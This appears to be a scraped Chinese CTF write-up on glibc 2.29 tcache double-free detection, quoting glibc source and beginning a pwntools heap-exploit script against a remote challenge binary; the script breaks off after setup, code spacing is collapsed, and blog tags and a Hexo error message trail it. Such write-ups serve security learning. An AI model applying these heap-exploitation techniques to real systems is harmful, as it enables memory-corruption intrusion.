/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */ typedefstructtcache_entry { structtcache_entry *next; } tcache_entry;
typedefstructtcache_entry { structtcache_entry *next; /* This field exists to detect double frees. */ structtcache_perthread_struct *key; } tcache_entry;
可以看到加入了结构体指针key来防止double free
下面看下怎么使用key检测double free
1 2 3 4 5 6 7 8 9 10 11
staticvoidtcache_put(mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); /* Mark this chunk as "in the tcache" so the test in _int_free will detect a double free. */ e->key = tcache; e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); }
if (__glibc_unlikely (e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2"); /* If we get here, it was a coincidence. We've wasted a few cycles, but don't abort. */ }
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
保护全开
1 2 3 4 5 6 7 8 9 10
Do you wanna a girl friend? Maybe she is hidden in the heap! ====================== 1.Add a girl's info 2.Show info 3.Edit info 4.Call that girl! 5.Exit lonely. ====================== Input your choice:
LOCAL = 0 if LOCAL: p = process(['./lib/ld-2.29.so','--library-path','./lib/','./chall']) #p = process('./chall') else: p = remote('34.92.96.238',10001) context.log_level = 'debug'
defadd(size,name,call): p.recvuntil('Input your choice:') p.sendline(str(1)) p.recvuntil('name') p.sendline(str(size)) p.recvuntil('please inpute her name:') p.sendline(name) p.recvuntil('please input her call:') p.sendline(call)
defdelete(idx): p.recvuntil('Input your choice:') p.sendline(str(4)) p.recvuntil('Please input the index:') p.sendline(str(idx)) defshow(idx): p.recvuntil('Input your choice:') p.sendline('2') p.recvuntil('Please input the index:') p.sendline(str(idx))
defq(): gdb.attach(p) raw_input('test')
defpwn(): add(1288,'aaaaaaa','2'*12)#0 0x508 for i in range(7): #idx 1-7 add(32,'bbbbbbbb','1'*12)
unlinkfastbin attackHouse of spiritHouse of ForceUAFDynELFPIEformat stringoff by onex6464bit格式化字符串漏洞栈溢出Canarytcachelibc-2.29chunk overlappingchunk extendshellcode,系统调用libc2.29stack overflowfmtrop2016,CTFs,fsbCTFstack pivotingOSpwnablefsb
缺失模块。
1、请确保node版本大于6.2
2、在博客根目录(注意不是archer根目录)执行以下命令: npm i hexo-generator-json-content --save
3、在根目录_config.yml里添加配置: